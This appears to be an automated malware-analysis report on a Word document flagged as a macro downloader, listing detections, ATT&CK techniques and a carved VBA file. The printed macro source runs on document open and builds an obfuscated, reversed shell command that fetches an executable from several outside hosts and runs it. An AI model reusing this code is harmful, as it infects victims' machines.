MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is a Microsoft Office document containing a VBA macro, indicated by the OLE_VBA_MACROS and OLE_VBA_AUTOOPEN heuristics. The AutoOpen subroutine within the 'macros.bas' script attempts to execute a command using the Shell function, suggesting it's designed to download and run a second-stage payload. The ClamAV detection further confirms its malicious nature.
Heuristics 5
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ClamAV: Doc.Malware.Valyria-6788932-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-6788932-0
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5343 bytes |
SHA-256: d2805634900365fa8d333bb213bbd2025cb6dcc1024981f19ce24c7612c81104 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "BXUnGdLZzc"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const EknwRX = 0
Dim uYafAT(3)
uYafAT(0) = Mid(jTiNAOB, 378, 73)
uYafAT(1) = Mid(jTiNAOB, 378, 73)
uYafAT(2) = Left(iNiPEE, 949)
Dim kUKLpo(4)
kUKLpo(0) = MidB(oczph, 16, 780)
kUKLpo(1) = Right(fTMaJu, 419)
kUKLpo(2) = Left(iNiPEE, 949)
kUKLpo(3) = MidB(oczph, 16, 780)
Dim BXGHi(4)
BXGHi(0) = Right(fTMaJu, 419)
BXGHi(1) = MidB(oczph, 16, 780)
BXGHi(2) = Right(fTMaJu, 419)
BXGHi(3) = MidB(oczph, 16, 780)
Shell@ VWQaXrWs + GjhuofUFzFCQ + orUWiPtULBpcj, CInt(EknwRX)
Dim mIYSn(4)
mIYSn(0) = MidB(oczph, 16, 780)
mIYSn(1) = Mid(jTiNAOB, 378, 73)
mIYSn(2) = Mid(jTiNAOB, 378, 73)
mIYSn(3) = MidB(oczph, 16, 780)
Dim mqFsG(4)
mqFsG(0) = Right(fTMaJu, 419)
mqFsG(1) = MidB(oczph, 16, 780)
mqFsG(2) = Mid(jTiNAOB, 378, 73)
mqFsG(3) = MidB(oczph, 16, 780)
Dim WGRci(3)
WGRci(0) = Mid(jTiNAOB, 378, 73)
WGRci(1) = MidB(oczph, 16, 780)
WGRci(2) = Right(fTMaJu, 419)
Dim fFMwQ(5)
fFMwQ(0) = Left(iNiPEE, 949)
fFMwQ(1) = MidB(oczph, 16, 780)
fFMwQ(2) = Mid(jTiNAOB, 378, 73)
fFMwQ(3) = Left(iNiPEE, 949)
fFMwQ(4) = MidB(oczph, 16, 780)
Dim OMJOL(2)
OMJOL(0) = MidB(oczph, 16, 780)
OMJOL(1) = MidB(oczph, 16, 780)
End Sub
Attribute VB_Name = "zlnOGiEiRlJ"
Function VWQaXrWs()
Dim wqmIs(3)
wqmIs(0) = Mid(jTiNAOB, 378, 73)
wqmIs(1) = Right(fTMaJu, 419)
wqmIs(2) = Right(fTMaJu, 419)
Dim bUSEVE(5)
bUSEVE(0) = Mid(jTiNAOB, 378, 73)
bUSEVE(1) = MidB(oczph, 16, 780)
bUSEVE(2) = Right(fTMaJu, 419)
bUSEVE(3) = Mid(jTiNAOB, 378, 73)
bUSEVE(4) = Right(fTMaJu, 419)
Dim tAQrL(5)
tAQrL(0) = MidB(oczph, 16, 780)
tAQrL(1) = Left(iNiPEE, 949)
tAQrL(2) = MidB(oczph, 16, 780)
tAQrL(3) = MidB(oczph, 16, 780)
tAQrL(4) = Right(fTMaJu, 419)
YwNEWsavzFC = Format(Chr(14 + 16 + 2 + 7 + 60)) + "md /V^:^O/" + Format(Chr(9 + 11 + 1 + 5 + 41)) + Format(Chr(4 + 5 + 0 + 2 + 23)) + "^s^e^t ^K^z^p=^ ^" + " ^ ^ " + " ^ ^ ^ ^ }}{h" + Format(Chr(14 + 16 + 2 + 7 + 60)) + "^t^a" + Format(Chr(14 + 16 + 2 + 7 + 60)) + "};^ka" + "^erb^;n^dr^$^ met^I" + "^-^ek^ovn^I;)n^dr$^ ,^" + "hR^U^$(^el^iFd" + "^a^oln^woD.^iMR${^yr^"
Dim wMzBTO(5)
wMzBTO(0) = Mid(jTiNAOB, 378, 73)
wMzBTO(1) = Left(iNiPEE, 949)
wMzBTO(2) = MidB(oczph, 16, 780)
wMzBTO(3) = Left(iNiPEE, 949)
wMzBTO(4) = Right(fTMaJu, 419)
Dim qaYWO(2)
qaYWO(0) = Left(iNiPEE, 949)
qaYWO(1) = Right(fTMaJu, 419)
Dim iPKNDj(3)
iPKNDj(0) = Mid(jTiNAOB, 378, 73)
iPKNDj(1) = MidB(oczph, 16, 780)
iPKNDj(2) = Mid(jTiNAOB, 378, 73)
AjBdutLl = "t{)qJ^J$^ ni^ hRU^$" + "(h" + Format(Chr(14 + 16 + 2 + 7 + 60)) + "a^er^o^f;^'" + "^ex^e^.'^" + "+^MLa$" + "+^'\^'+" + Format(Chr(14 + 16 + 2 + 7 + 60)) + "il^bup:vne$=n^d" + "r$^;^'61^" + "1^'^ ^" + "=^ ^ML^a^$;)'@'(" + "^t^i^lp^S.^'"
Dim wnkmtn(4)
wnkmtn(0) = Mid(jTiNAOB, 378, 73)
wnkmtn(1) = Mid(jTiNAOB, 378, 73)
wnkmtn(2) = MidB(oczph, 16, 780)
wnkmtn(3) = Mid(jTiNAOB, 378, 73)
Dim wLinq(4)
wLinq(0) = Left(iNiPEE, 949)
wLinq(1) = Right(fTMaJu, 419)
wLinq(2) = MidB(oczph, 16, 780)
wLinq(3) = Mid(jTiNAOB, 378, 73)
Dim hRWRRF(2)
hRWRRF(0) = Mid(jTiNAOB, 378, 73)
hRWRRF(1) = Left(iNiPEE, 949)
tLQwqwAEpm = "^2^m^6^dg" + "^M/ur.n^gi^se^d^-^m" + "u^ir^u^tna//^:pt" + "th^@^K" + Format(Chr(14 + 16 + 2 + 7 + 60)) + "/^gro" + "^.h^am" + "t^a//^:p^t^th@Rz/^a" + Format(Chr(14 + 16 + 2 + 7 + 60)) + "^.s^" + "dn^aldo^o" + "^w^pma" + Format(Chr(14 + 16 + 2 + 7 + 60)) + "//:p^t^t" + "^h^@^j^Z7^q/r^i^.moth^" + "s^ah^e^t^o"
Dim nZGusv(3)
nZGusv(0) = Left(iNiPEE, 949)
nZGusv(1) = Mid(jTiNAOB, 378, 73)
nZGusv(2) = Left(iNiPEE, 949)
Dim TOfmNs(4)
TOfmNs(0) = Right(fTMaJu, 419)
TOfmNs(1) = MidB(oczph, 16, 780)
TOfmNs(2) = Mid(jTiNAOB, 378, 73)
TOfmNs(3) = Left(iNiPEE, 949)
Dim aOCfin(2)
aOCfin(0) = Mid(jTiNAOB, 378, 73)
aOCfin(1) = Right(fTMaJu, 419)
Dim rBXDz(4)
rBXDz(0) = Le
... (truncated)
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